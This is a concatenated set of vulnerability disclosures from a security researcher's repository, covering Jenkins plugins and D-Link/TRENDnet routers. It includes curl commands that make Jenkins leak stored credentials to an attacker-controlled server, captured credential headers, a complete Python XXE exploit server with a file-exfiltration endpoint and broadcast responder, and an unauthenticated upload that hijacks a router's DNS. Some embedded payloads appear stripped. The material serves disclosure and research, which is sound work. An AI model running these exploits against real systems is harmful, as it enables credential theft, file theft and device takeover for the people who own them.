`fillTowerCredentialsIdItems` endpoint exposed by this plugin, which allows for the enumeration of credentials identifiers required for this attack to be successful. 31 | 32 | In addition to the above, if the responding server does not return properly formatted JSON document, the response will be reflected to the user as part of the reported error resulting in an HTTP GET only Server Side Request Forgery (SSRF). 33 | 34 | ##### Analysis: 35 | This vulnerability exists in the `testTowerConnection` endpoint exposed by the `doTestTowerConnection` method of `org.jenkinsci.plugins.ansible_tower.util.TowerInstallation` due to missing Jenkins permissions check. The same missing permissions check also exists in the `doFillTowerCredentialsIdItems` method, which yields the ability to enumerate credentials. 36 | 37 | Due to the way in which this plugin expects to authenticate against the remote Ansible Tower instance, the credentials associated with the attacker specified `towerCredentialsId` are base64-encoded and submitted as part of the HTTP Authorization header to the attacker-controlled server, and are also included plaintext in a JSON document submitted to the attacker specified endpoint. An example of this attack against a Jenkins 2.165 instance running a vulnerable version of this plugin and configured to allow anonymous read access has been provided below. 38 | 39 | ``` 40 | # List credentials on target Jenkins instance. 41 | $ curl -s -X GET -G \ 42 | -d 'pretty=true' \ 43 | 'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/fillTowerCredentialsIdItems' 44 | { 45 | "_class" : "com.cloudbees.plugins.credentials.common.StandardListBoxModel", 46 | "values" : [ 47 | { 48 | "name" : "- none -", 49 | "selected" : false, 50 | "value" : "" 51 | }, 52 | { 53 | "name" : "BBBBBB/****** (ExampleOnly)", 54 | "selected" : false, 55 | "value" : "01e367ef-54fb-4da0-8044-5112935037bb" 56 | }, 57 | { 58 | "name" : "SecureUsername/****** (Credentials for X)", 59 | "selected" : false, 60 | "value" : "287fcbe2-177e-4108-ac58-efdc0a507376" 61 | }, 62 | { 63 | "name" : "A Secret Text Entry", 64 | "selected" : false, 65 | "value" : "532ba431-e25d-4aad-bc74-fb5b2cc03bd7" 66 | } 67 | ] 68 | } 69 | 70 | # Send credentials to an attacker's server (http://127.0.0.1:7000?). 71 | # The trailing '?' is to ensure that the expected path is appended as a 72 | # query parameter, rather than part of the query path. 73 | # 74 | # Two requests are performed by Jenkins here. The first is a 'ping', which 75 | # requires that the target respond with a well formed JSON response - 76 | # though any JSON response will do. If this first request fails, the reply 77 | # will be reflected to the client (SSRF). If it succeeds, a subsequent 78 | # POST will be performed which contains the credentials. 79 | # 80 | $ curl -s -X GET -G \ 81 | -d 'towerURL=http://127.0.0.1:7000/report.json?' \ 82 | -d 'towerTrustCert=false' \ 83 | -d 'enableDebugging=true' \ 84 | -d 'towerCredentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \ 85 | 'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/testTowerConnection' 86 | ``` 87 | 88 | The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following: 89 | 90 | ``` 91 | # First request from Jenkins (GET) 92 | /report.json?/api/v2/ping/ 93 | Host: 127.0.0.1:7000 94 | Connection: Keep-Alive 95 | User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5) 96 | 97 | # Second request from Jenkins (POST) 98 | /report.json?/api/v2/authtoken/ 99 | Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v 100 | Content-Type: application/json 101 | Content-Length: 61 102 | Host: 127.0.0.1:7000 103 | Connection: Keep-Alive 104 | User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5) 105 | 106 | {"username":"SecureUsername","password":"SecurePasswordOhNo"} 107 | ``` 108 | -------------------------------------------------------------------------------- /Vulnerabilities/Miscellaneous/jenkins-artifactory-plugin/README.md: -------------------------------------------------------------------------------- 1 | ## Jenkins Artifactory Plugin - Information disclosure vulnerabilities 2 | 3 | ##### Discovered by: 4 | * Peter Adkins 5 | 6 | ##### Access: 7 | * Local network; authenticated access 8 | * Remote network; authenticated access (See notes) 9 | * Remote network; 'drive-by' via CSRF 10 | 11 | ##### Tracking and identifiers: 12 | * CVE - CVE-2019-10321 13 | * CVE - CVE-2019-10322 14 | * CVE - CVE-2019-10323 15 | 16 | ##### Versions Affected: 17 | * Jenkins Artifactory Plugin 3.2.1 18 | * Jenkins Artifactory Plugin 3.2.0 19 | 20 | ##### Vendor involvement: 21 | * 2019-03-12 - Vendor Disclosure 22 | * 2019-05-28 - Vendor Patched 23 | * 2019-06-04 - Public Release 24 | 25 | ##### Notes: 26 | 1. This may be exploited by an anonymous user if unauthenticated access is enabled in Jenkins. 27 | 28 | 1. Due to lack of validation of Cross Site Request Forgery (CSRF) token validation, this vulnerability may also be exploited via CSRF. 29 | 30 | 1. Originally published under [TALOS-2019-0787](https://talosintelligence.com/vulnerability_reports/TALOS-2019-0787) and [TALOS-2019-0846](https://talosintelligence.com/vulnerability_reports/TALOS-2019-0846). Mirrored here here for tracking purposes. 31 | 32 | ##### Overview: 33 | An exploitable information disclosure vulnerability exists in the `testConnection` endpoint of the Jenkins Artifactory Plugin 3.2.0 and 3.2.1. As a result of this vulnerability a crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credentials from the Jenkins credentials database to an attacker controlled server. 34 | 35 | In addition to the above, the plugin is also vulnerable to low-level information disclosure via the `fillCredentialsIdItems` endpoint. As a result of this vulnerability a crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credential identifiers from the Jenkins credentials database. These credential identifiers may then be used to capture credentials using the vulnerable `testConnection` endpoint. 36 | 37 | ##### Analysis: 38 | **CVE-2019-10322 - `doTestConnection` missing permission check** 39 | 40 | This vulnerability exists in the testConnection endpoint exposed by the `doTestConnection` method of `org.jfrog.hudson.ArtifactoryBuilder` due to missing Jenkins permissions check. To exploit this vulnerability an attacker must know the credential identifier of the credential to leak. This said, this information can be obtained via a number of means, such as additional information disclosure vulnerabilities in this, and other, Jenkins plugins (see below). 41 | 42 | Due to the way in which this plugin expects to authenticate against the remote Artifactory instance, the credentials associated with the attacker specified credentialsId are base64-encoded and submitted as part of the HTTP Authorization header to the attacker-controlled server. An example of this attack against a Jenkins 2.165 instance running a vulnerable version of this plugin and configured to allow anonymous read access has been provided below. 43 | 44 | ``` 45 | # Send credentials to an attacker's server (http://192.0.2.1:7000?). 46 | # The trailing '?' is to ensure that the expected path is appended as a 47 | # query parameter, rather than part of the query path. 48 | $ curl -s -X GET -G \ 49 | -d 'artifactoryUrl=http://192.0.2.1:7000/?' \ 50 | -d 'connectionRetry=0' \ 51 | -d 'useCredentialsPlugin=true' \ 52 | -d 'credentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \ 53 | 'http://jenkins.docker.local:8080/descriptorByName/org.jfrog.hudson.ArtifactoryBuilder/testConnection' 54 | ``` 55 | 56 | The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following: 57 | 58 | ``` 59 | # First request from Jenkins (GET) 60 | /?/api/system/version 61 | Host: 192.0.2.1:7000 62 | Connection: Keep-Alive 63 | User-Agent: ArtifactoryBuildClient/2.13.3 64 | Accept-Encoding: gzip,deflate 65 | Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v 66 | ``` 67 | 68 | It is worth noting that as the response from the attacker-controlled server is not in the expected format, the plugin will raise an error but not render the response. 69 | 70 | **CVE-2019-10321 - `doTestConnection` CSRF** 71 | 72 | This vulnerability exists in the `testConnection` endpoint exposed by the doTestConnection method of `org.jfrog.hudson.ArtifactoryBuilder` due to missing CSRF validation. 73 | 74 | The payload below could be embedded in a webpage and will successfully execute a request against the target Jenkins instance on page load. Due to lack of CSRF validation in the plugin, and lack of additional mitigations such as `SameSite` Cookie attribute, this JSONP (JSON with padding) request will utilize any currently authenticated Jenkins sessions for the configured target. This payload has been confirmed working in Safari 12.1.1 (14607.2.6.1.1) and Google Chrome 74.0.3729.169. 75 | 76 | It's worth noting that despite the use of JSONP, the response content is not accessible due to a MIME type mismatch (`application/json` versus `application/javascript`) and explicit `X-Content-Type: nosniff` header being returned by Jenkins. This said, the request will still execute as expected, performing an onward request to the attacker's server (specified by the `artifactoryUrl` parameter) containing the credentials associated with the specified credentialsId. 77 | 78 | ``` 79 | 80 | 98 | ``` 99 | 100 | The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following: 101 | 102 | ``` 103 | # First request from Jenkins (GET) 104 | /?/api/system/version 105 | Host: 192.0.2.1:7000 106 | Connection: Keep-Alive 107 | User-Agent: ArtifactoryBuildClient/2.13.3 108 | Accept-Encoding: gzip,deflate 109 | Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v 110 | ``` 111 | 112 | **CVE-2019-10323 - `fillCredentialsIdItems` low-level information disclosure** 113 | 114 | This vulnerability exists in the `fillCredentialsIdItems` endpoint exposed by the `doFillCredentialsIdItems` method of `org.jfrog.hudson.ArtifactoryBuilder` due to missing Jenkins permissions check. The result of this vulnerability is low level information disclosure. This information may be useful for an attacker as it may be used in conjunction with additional vulnerabilities in this, or other, Jenkins plugins (see above). 115 | 116 | ``` 117 | # List username / password credentials on target Jenkins instance. 118 | $ curl -s -X GET -G \ 119 | -d 'pretty=true' \ 120 | 'http://jenkins.docker.local:8080/descriptorByName/org.jfrog.hudson.ArtifactoryBuilder/fillCredentialsIdItems' 121 | { 122 | "_class": "com.cloudbees.plugins.credentials.common.StandardListBoxModel", 123 | "values": [ 124 | { 125 | "name": "- none -", 126 | "selected": false, 127 | "value": "" 128 | }, 129 | { 130 | "name": "BBBBBB/****** (ExampleOnly)", 131 | "selected": false, 132 | "value": "01e367ef-54fb-4da0-8044-5112935037bb" 133 | }, 134 | { 135 | "name": "SecureUsername/****** (Credentials for X)", 136 | "selected": false, 137 | "value": "287fcbe2-177e-4108-ac58-efdc0a507376" 138 | } 139 | ] 140 | } 141 | ``` 142 | -------------------------------------------------------------------------------- /Vulnerabilities/Miscellaneous/jenkins-gitlab-plugin/README.md: -------------------------------------------------------------------------------- 1 | ## Jenkins GitLab Plugin - Information disclosure vulnerability 2 | 3 | ##### Discovered by: 4 | * Peter Adkins 5 | 6 | ##### Access: 7 | * Local network; authenticated access 8 | * Remote network; authenticated access (See notes) 9 | * Remote network; 'drive-by' via CSRF 10 | 11 | ##### Tracking and identifiers: 12 | * CVE - CVE-2019-10300 13 | 14 | ##### Versions Affected: 15 | * Jenkins GitLab Plugin 1.5.11 16 | 17 | ##### Vendor involvement: 18 | * 2019-03-12 - Vendor Disclosure 19 | * 2019-04-30 - Vendor Patched 20 | * 2019-05-06 - Public Release 21 | 22 | ##### Notes: 23 | 1. This may be exploited by an anonymous user if unauthenticated access is enabled in Jenkins. 24 | 25 | 1. Due to lack of validation of Cross Site Request Forgery (CSRF) token validation, this vulnerability may also be exploited via CSRF. 26 | 27 | 1. Originally published under [TALOS-2019-0788](https://talosintelligence.com/vulnerability_reports/TALOS-2019-0788). Mirrored here here for tracking purposes. 28 | 29 | ##### Overview: 30 | An exploitable information disclosure vulnerability exists in the `testConnection` functionality of the Jenkins GitLab Plugin 1.5.11. A specially crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credentials from the Jenkins credentials database to an attacker controlled server. 31 | 32 | In order for this attack to be successful, the attacker will need to know the credentials id of the credentials to disclose. This can be found through a number of ways, such as exposed build logs (read), access to the credential manager in the Jenkins UI (read), or through another vulnerable plugin which provides a `fillCredentialsIdItems` style endpoint. 33 | 34 | ##### Analysis: 35 | This vulnerability exists in the `testConnection` endpoint exposed by the `doTestConnection` method of `com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig` due to missing Jenkins permissions check. 36 | 37 | Due to the way in which this plugin expects to authenticate against the remote GitLab instance, the credentials associated with the attacker-specified `credentialsId` are submitted as part of the HTTP `PRIVATE-TOKEN` header to the attacker-controlled server. An example of this attack against a Jenkins 2.165 instance running a vulnerable version of this plugin and configured to allow anonymous read access has been provided below. 38 | 39 | ``` 40 | # Send credentials to an attacker's server (http://127.0.0.1:7000?). 41 | # The trailing '?' is to ensure that the expected path is appended as a 42 | # query parameter, rather than part of the query path. 43 | $ curl -s -X GET -G \ 44 | -d 'url=http://127.0.0.1:7000/?' \ 45 | -d 'clientBuilderId=autodetect' \ 46 | -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \ 47 | 'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection' 48 | ``` 49 | 50 | The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following (multiple requests are submitted to the attacker specified server when the `clientBuilderdId` field above is set to `autodetect`): 51 | 52 | ``` 53 | # First request from Jenkins (GET). 54 | /api/v4/user 55 | Accept: application/json 56 | PRIVATE-TOKEN: ASecretTextEntry 57 | Host: 127.0.0.1:7000 58 | Connection: Keep-Alive 59 | 60 | # Second request from Jenkins (GET) 61 | /api/v3/user 62 | Accept: application/json 63 | PRIVATE-TOKEN: ASecretTextEntry 64 | Host: 127.0.0.1:7000 65 | Connection: Keep-Alive 66 | ``` 67 | 68 | It is worth noting that as the response from the attacker-specified server is not in the expected format the plugin will raise an error but not render the response. 69 | -------------------------------------------------------------------------------- /Vulnerabilities/Miscellaneous/jenkins-swarm-plugin/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | # Update repository metadata and install a JVM. 4 | RUN apt update && \ 5 | apt install -y openjdk-8-jre-headless tcpdump curl && \ 6 | apt install -y python3 python3-pip tmux && \ 7 | pip3 install pyftpdlib 8 | 9 | # Grab the latest Swarm Client. 10 | RUN curl -D - -o /var/tmp/swarm-client.jar \ 11 | https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar 12 | 13 | # Copy our exploit code to the container. 14 | COPY exploit.py /root/exploit.py 15 | 16 | # Give 'er. 17 | ENTRYPOINT java -jar /var/tmp/swarm-client.jar 18 | -------------------------------------------------------------------------------- /Vulnerabilities/Miscellaneous/jenkins-swarm-plugin/README.md: -------------------------------------------------------------------------------- 1 | ## Jenkins Swarm Plugin - XXE (XML External Entities) via UDP broadcast 2 | 3 | ##### Discovered by: 4 | * Peter Adkins 5 | 6 | ##### Access: 7 | * Local network; unauthenticated access 8 | 9 | ##### Tracking and identifiers: 10 | * CVE - CVE-2019-10309 11 | 12 | ##### Versions Affected: 13 | * Jenkins Swarm-Client 3.14 14 | 15 | ##### Vendor involvement: 16 | * 2018-12-05 - Vendor Disclosure 17 | * 2019-05-06 - Public Release 18 | * 2019-05-13 - Vendor Patched 19 | 20 | ##### Notes: 21 | 22 | 1. Originally published under [TALOS-2019-0783](https://talosintelligence.com/vulnerability_reports/TALOS-2019-0783). Mirrored here here for tracking purposes. 23 | 24 | 1. Due to the nature of the Java XML parser, files that contain certain characters cannot be reflected in FTP or HTTP URIs to exfiltrate data. 25 | 26 | ##### Overview: 27 | The Jenkins Self-Organizing Swarm Modules Plugin, version 3.14, contains a trivial XXE (XML External Entities) vulnerability inside of the `getCandidateFromDatagramResponses()` method. As a result of this issue, it is possible for an attacker on the same network as a Swarm client to read arbitrary files from the system by responding to the UDP discovery requests with a specially crafted response. 28 | 29 | ##### Analysis: 30 | 31 | This vulnerability could allow an unprivileged user connected to the network on which a set of Swarm agents are deployed to access data on the agent instances without additional authentication. Due to the nature of the UDP broadcast discovery mechanism, the ability of a user to run the proof-of-concept code in a network that uses this mechanism for Jenkins Master discovery yields unauthenticated local file read(s) on all agents seeking masters. This was tested in a Docker-based environment, where all agents running the Swarm Agent were able to be exploited simultaneously. 32 | 33 | This vulnerability exists in the `getCandidateFromDatagramResponses` method of `hudson.plugins.swarm.SwarmClient`, and appears to be due to the processing of DocType declarations from client provided XML. 34 | 35 | Please see `exploit.py` and the `Dockerfile` in this directory for a full proof-of-concept and associated test environment. 36 | -------------------------------------------------------------------------------- /Vulnerabilities/Miscellaneous/jenkins-swarm-plugin/exploit.py: -------------------------------------------------------------------------------- 1 | ''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). ''' 2 | 3 | import os 4 | import sys 5 | import socket 6 | import uuid 7 | import logging 8 | import http.server 9 | import socketserver 10 | import multiprocessing 11 | 12 | 13 | def find_ip(): 14 | ''' Find the IP of the 'primary' network interface. ''' 15 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 16 | sock.connect(('8.8.8.8', 80)) 17 | addr = sock.getsockname()[0] 18 | sock.close() 19 | return addr 20 | 21 | 22 | class RequestHandler(http.server.BaseHTTPRequestHandler): 23 | ''' Provides a set of request handlers for our Fake jenkins server. ''' 24 | 25 | def __init__(self, request, client_address, server): 26 | ''' Bot on a logger. ''' 27 | self.logger = logging.getLogger(__name__) 28 | super().__init__(request, client_address, server) 29 | 30 | def version_string(self): 31 | ''' Override version string / Server header. ''' 32 | return 'TotallyJenkins' 33 | 34 | def log_message(self, fmt, *args): 35 | ''' Where we're going, we don't need logs. ''' 36 | pass 37 | 38 | def log_error(self, fmt, *args): 39 | ''' Where we're going, we don't need logs. ''' 40 | pass 41 | 42 | def log_request(self, code='-', size='-'): 43 | ''' Where we're going, we don't need logs. ''' 44 | self.logger.debug( 45 | 'Received %s request for %s from %s', 46 | self.command, 47 | self.path, 48 | self.client_address 49 | ) 50 | 51 | def build_stage_two(self): 52 | ''' Builds a second stage XXE payload - for exfil. ''' 53 | payload = ''' 54 | 55 | "> 56 | 57 | "> 58 | '''.format(find_ip(), '8080') 59 | return payload.encode() 60 | 61 | def do_GET(self): 62 | ''' Implements routing for HTTP GET requests. ''' 63 | self.logger.debug('Processing GET on route "%s"', self.path) 64 | 65 | # Provide an exfiltration endpoint. 66 | if '/exfil' in self.path: 67 | self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('=')) 68 | self.send_response(200, 'OK') 69 | self.send_header('X-Hudson', '1.395') 70 | self.send_header('Content-Length', '2') 71 | self.end_headers() 72 | self.wfile.write(b'OK') 73 | 74 | # Serve the payload DTD. 75 | if self.path.endswith('.dtd'): 76 | stage_two = self.build_stage_two() 77 | self.send_response(200, 'OK') 78 | self.send_header('Content-Type', 'application/x-java-jnlp-file') 79 | self.send_header('Content-Length', len(stage_two)) 80 | self.end_headers() 81 | self.wfile.write(stage_two) 82 | 83 | # Ensure the X-Hudson check in Swarm plugin passes. 84 | if self.path == '/': 85 | self.send_response(200, 'OK') 86 | self.send_header('X-Hudson', '1.395') 87 | self.send_header('Content-Length', '2') 88 | self.end_headers() 89 | self.wfile.write(b'OK') 90 | 91 | def do_PUT(self): 92 | ''' Mock HTTP PUT requests. ''' 93 | self.send_response(500) 94 | 95 | def do_POST(self): 96 | ''' Mock HTTP POST requests. ''' 97 | self.logger.debug('Processing POST on route "%s"', self.path) 98 | 99 | # Respond with an OK to keep the exchange going. 100 | if self.path.startswith('/plugin/swarm/createSlave'): 101 | self.send_response(200, 'OK') 102 | self.send_header('Content-Length', '0') 103 | self.end_headers() 104 | 105 | def do_HEAD(self): 106 | ''' Mock HTTP HEAD requests. ''' 107 | self.send_response(500) 108 | 109 | def do_PATCH(self): 110 | ''' Mock HTTP PATCH requests. ''' 111 | self.send_response(500) 112 | 113 | def do_OPTIONS(self): 114 | ''' Mock HTTP HEAD requests. ''' 115 | self.send_response(500) 116 | 117 | class HTTPServer(multiprocessing.Process): 118 | ''' Provides a Fake Jenkins server to signal the Swarm. ''' 119 | 120 | def __init__(self, port=8080): 121 | ''' Bolt on a logger. ''' 122 | super().__init__() 123 | self.port = port 124 | self.logger = logging.getLogger(__name__) 125 | 126 | def run(self): 127 | ''' Do the thing. ''' 128 | self.logger.info('Starting HTTP listener on TCP %s', self.port) 129 | 130 | # Kick off the server. 131 | instance = http.server.HTTPServer( 132 | ('0.0.0.0', self.port), 133 | RequestHandler 134 | ) 135 | instance.serve_forever() 136 | 137 | 138 | class Spwner(multiprocessing.Process): 139 | ''' Provides a Spawn broadcast listener and responder. ''' 140 | 141 | def __init__(self, port=33848): 142 | ''' Setup a socket and bolt on a logger. ''' 143 | super().__init__() 144 | self.port = port 145 | self.logger = logging.getLogger(__name__) 146 | self.logger.info('Binding broadcast listener to UDP %s', port) 147 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 148 | self.sock.bind(('255.255.255.255', self.port)) 149 | self.swarm = str(uuid.uuid4()) 150 | 151 | def build_swarm_xml(self): 152 | ''' Builds a baked Swarm payload. ''' 153 | # This is dirty. 154 | payload = ''' 155 | 157 | %stageTwo; 158 | %remote1; 159 | %remote2; 160 | ]> 161 | 162 | &exfil1; 163 | &exfil2; 164 | http://{0}:{1}/ 165 | 166 | '''.format(find_ip(), '8080') 167 | return payload.encode() 168 | 169 | def respond(self, client): 170 | ''' Send a payload to the given client. ''' 171 | addr, port = client 172 | self.logger.info('Sending payload to %s:%s', addr, port) 173 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 174 | sock.sendto(self.build_swarm_xml(), (addr, port)) 175 | self.logger.info('Payload sent!') 176 | 177 | def listen(self): 178 | ''' Listen for clients. ''' 179 | while True: 180 | _, client = self.sock.recvfrom(1024) 181 | self.logger.info('Received a Swarm broadcast from %s', client) 182 | self.respond(client) 183 | 184 | def run(self): 185 | ''' Do the thing. ''' 186 | self.listen() 187 | 188 | 189 | def main(): 190 | ''' Jenkins Swarm-Plugin RCE PoC. ''' 191 | # Configure the logger. 192 | logging.basicConfig( 193 | level=logging.INFO, 194 | format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s', 195 | ) 196 | log = logging.getLogger(__name__) 197 | # log.setLevel(logging.DEBUG) 198 | 199 | # Spawn a fake Jenkins HTTP server. 200 | log.info('Spawning fake Jenkins HTTP Server') 201 | httpd = HTTPServer() 202 | httpd.start() 203 | 204 | # Spawn a broadcast listener. 205 | log.info('Spawning a Swarm broadcast listener') 206 | listener = Spwner() 207 | listener.start() 208 | 209 | 210 | if __name__ == '__main__': 211 | main() -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/README.md: -------------------------------------------------------------------------------- 1 | ## D-Link and TRENDnet 'ncc2' service - multiple vulnerabilities 2 | 3 | ##### Discovered by: 4 | * Peter Adkins <peter.adkins@kernelpicnic.net> 5 | * Tiago Caetano Henriques <[@Balgan](https://twitter.com/Balgan)> (See notes) 6 | 7 | ##### Access: 8 | * Local network; unauthenticated access 9 | * Remote network; unauthenticated access (See notes) 10 | * Remote network; 'drive-by' via CSRF 11 | 12 | ##### Tracking and identifiers: 13 | * CVE - Mitre contacted; not yet allocated 14 | * CVE - ping.ccp - CVE-2015-1187 (See notes) 15 | 16 | ##### Platforms / Firmware confirmed affected: 17 | * D-Link DIR-626L (Rev A) - v1.04b04 18 | * D-Link DIR-636L (Rev A) - v1.04 19 | * D-Link DIR-808L (Rev A) - v1.03b05 20 | * D-Link DIR-810L (Rev A) - v1.01b04 21 | * D-Link DIR-810L (Rev B) - v2.02b01 22 | * D-Link DIR-820L (Rev A) - v1.02B10 23 | * D-Link DIR-820L (Rev A) - v1.05B03 24 | * D-Link DIR-820L (Rev B) - v2.01b02 25 | * D-Link DIR-826L (Rev A) - v1.00b23 26 | * D-Link DIR-830L (Rev A) - v1.00b07 27 | * D-Link DIR-836L (Rev A) - v1.01b03 28 | * TRENDnet TEW-731BR (Rev 2) - v2.01b01 29 | 30 | ##### Additional platforms believed to be affected (see notes): 31 | * D-Link DIR-651 (Rev A) - v1.10NAb02 - found by [Stefan Viehböck](https://twitter.com/sviehb) 32 | * TRENDnet TEW-651BR (v2.XR) - vUNKNOWN - found by [Stefan Viehböck](https://twitter.com/sviehb) 33 | * TRENDnet TEW-652BRP (v3.XR) - vUNKNOWN - found by [Stefan Viehböck](https://twitter.com/sviehb) 34 | * TRENDnet TEW-711BR (Rev 1) - v1.00b31 - found by [@dyngnosis](https://twitter.com/dyngnosis) 35 | * TRENDnet TEW-810DR (Rev 1) - v1.00b19 - found by [@dyngnosis](https://twitter.com/dyngnosis) 36 | * TRENDnet TEW-813DRU (Rev 1) - v1.00b23 - found by [@dyngnosis](https://twitter.com/dyngnosis) 37 | 38 | ##### Vendor involvement: 39 | * 2015-01-11 - Issues reported to D-Link via email (security contact). 40 | * 2015-01-11 - Issues reported to TRENDnet via support ticket. 41 | * 2015-01-12 - Initial response from TRENDnet. 42 | * 2015-01-14 - Initial response from D-Link (security contact). 43 | * 2015-01-19 - Email to Mitre. 44 | * 2015-01-19 - TRENDnet request a few days to validate vulnerabilities. 45 | * 2015-01-26 - TRENDnet confirm vulnerabilities and commit to Feb 10 fix. 46 | * 2015-02-01 - Initial response from Mitre. 47 | * 2015-02-04 - Requested an update from D-Link (security contact). 48 | * 2015-02-10 - TRENDnet release 2.02b01 resolving vulnerabilities. 49 | * 2015-02-10 - Emailed Mitre requesting follow up. 50 | * 2015-02-10 - Emailed D-Link requesting follow up (security contact). 51 | * 2015-02-18 - Emailed D-Link requesting follow up (security contact). 52 | * 2015-02-21 - Contacted D-Link support as I had not still not heard back. 53 | * 2015-02-22 - D-Link support were unsure as to my query. 54 | * 2015-02-22 - Replied to D-Link support clarifying my request. 55 | * 2015-02-23 - D-Link support directed me to the security reporting guide. 56 | * 2015-02-26 - Vulnerability published to Bugtraq and GitHub. 57 | * 2015-03-02 - D-Link published advisory [SAP10052](http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052) regarding issue. 58 | 59 | ##### Mitigation: 60 | * Ensure remote / WAN management is disabled on the affected devices. 61 | * Only allow trusted devices access to the local network. 62 | * If using a listed TRENDnet device, install the patched firmware issued by the vendor. 63 | * If using a listed D-Link device you'll need to use a third party tool such as µBlock (Chrome, Firefox and Safari) to blacklist requests to your router. This isn't ideal, but it's better than the alternative. 64 | 65 | ##### Notes: 66 | * I was contacted on the morning of March 3rd 2015 (PDT) and informed that the `ping.ccp` vulnerability had already been found INDEPENDENTLY on November 30th 2014 by Tiago Caetano Henriques. This was reported to Swisscom CSIRT on December 18th 2014. The advisory for which has since been published at: 67 | * http://seclists.org/fulldisclosure/2015/Mar/15 68 | 69 | * Due to the nature of the the `ping.ccp` vulnerability, an attacker can gain root access, hijack DNS settings or execute arbitrary commands on these devices with the user simply visiting a webpage with a malicious HTTP form embedded (via CSRF). 70 | 71 | * Due to the location of this issue (`ncc` / `ncc2`) these vulnerabilities may be present in other devices and firmware versions not listed in this document. 72 | 73 | * D-Link initially responded on their security contact within a week. However, after I had provided write ups of these vulnerabilities it went quiet. In over a month I have been unable to get any sort of response from D-Link, including as to whether they have managed to replicate these issues or when there will be a fix. I contacted D-Link support as a last ditch effort to reestablish contact, however I was linked back to the same security reporting process I had followed initially. 74 | 75 | * Remote execution of these exploits is possible, but requires the device to already have remote / WAN management enabled; except in the case of `ping.ccp`, as above. 76 | 77 | * If you have a D-Link device that is believed to be affected and can confirm whether the PoC is successful, please let me know and I will update this document and provide credit for your findings. 78 | 79 | ### Affected string table 80 | 81 | In lieu of having access to the hardware to verify whether these vulnerabilities are present on devices listed as believed affected, analysis of the `ncc` / `ncc2` binaries present on these platforms has been performed. 82 | 83 | As these binaries contain the 'offending' string, into which commands are able to be injected, we have strong suspicions that these devices are affected. 84 | 85 | | Device | Firmware | Address | 86 | |------------|----------|-----------| 87 | | DIR-651A2 | 1.10NAb02 | `0x4ac694` | 88 | | DIR-808LA1 | 1.03b05 | `0x56c12c` | 89 | | DIR-810LA1 | 1.01b04 | `0x562fe0` | 90 | | DIR-820LA1 | 1.02b10 | `0x547434` | 91 | | DIR-826LA1 | 1.02b26 | `0x559eec` | 92 | | DIR-830LA1 | 1.00b07 | `0x55e2f8` | 93 | | DIR-836LA1 | 1.01b03 | `0x55a82c` | 94 | | TEW-731BRV2 | 2.00b08 | `0x4dc048`| 95 | | TEW-711BRV1 | 1.00b31 | `0x47c584` | 96 | | TEW-810DRV1 | 1.00b19 | `0x567238` | 97 | | TEW-813DRUV1 | 1.00b23 | `0x4e4b34` | 98 | 99 | ### fwupgrade.ccp 100 | 101 | The `ncc` / `ncc2` service on the affected devices allows for basic firmware and language file upgrades via the web interface. During the operation, a HTTP POST is submitted to a resource named `fwupgrade.ccp`. 102 | 103 | The request appears to be executed by the `ncc` / `ncc2` service on the device, which runs as the root user. 104 | 105 | Unfortunately, the filtering on this resource does not appear to be effective, as: file / MIME type filtering is not being performed; and the 'on-failure' redirection to the login page is being performed AFTER a file has already been written the the filesystem in full. 106 | 107 | As a result of the above, this resource can be used to upload files to the filesystem of devices running vulnerable versions of `ncc` / `ncc2` without authentication. This is also possible over the internet if WAN / remote management has been previously enabled on the device. 108 | 109 | To compound the issue, at least in the case of the listed devices, files are written to a ramfs filesystem which is mounted at `/var/tmp`. Unfortunately, this mountpoint is also used to store volatile system configuration files, such as `resolv.conf`. 110 | 111 | As a result, an attacker is able to hijack a user's DNS configuration without authentication: 112 | 113 | ```bash 114 | # Overwrite the DNS resolver with Google DNS 115 | echo 'nameserver 8.8.8.8' > resolv.conf 116 | 117 | curl \ 118 | -i http://192.168.0.1/fwupgrade.ccp \ 119 | -F action=fwupgrade \ 120 | -F filename=resolv.conf \ 121 | -F file=@resolv.conf 122 | ``` 123 | 124 | ### ping.ccp 125 | 126 | The `ncc` / `ncc2` service on the affected devices allow for basic 'ping' diagnostics to be performed via the `ping.ccp` resource. Unfortunately, it appears that strings passed to this call are not correctly sanitized. 127 | 128 | Much in the same manner as above, requests are executed by the `ncc` / `ncc2` service on the device, which is run as the root user. 129 | 130 | The handler for `ping_v4` does not appear to be vulnerable as this resource maps the components of a IPv4 address, represented by a dotted quad, into a format of `%u.%u.%u.%u` at execution time. However, `ping_ipv6` references the user provided input directly as a string (`%s`), which is 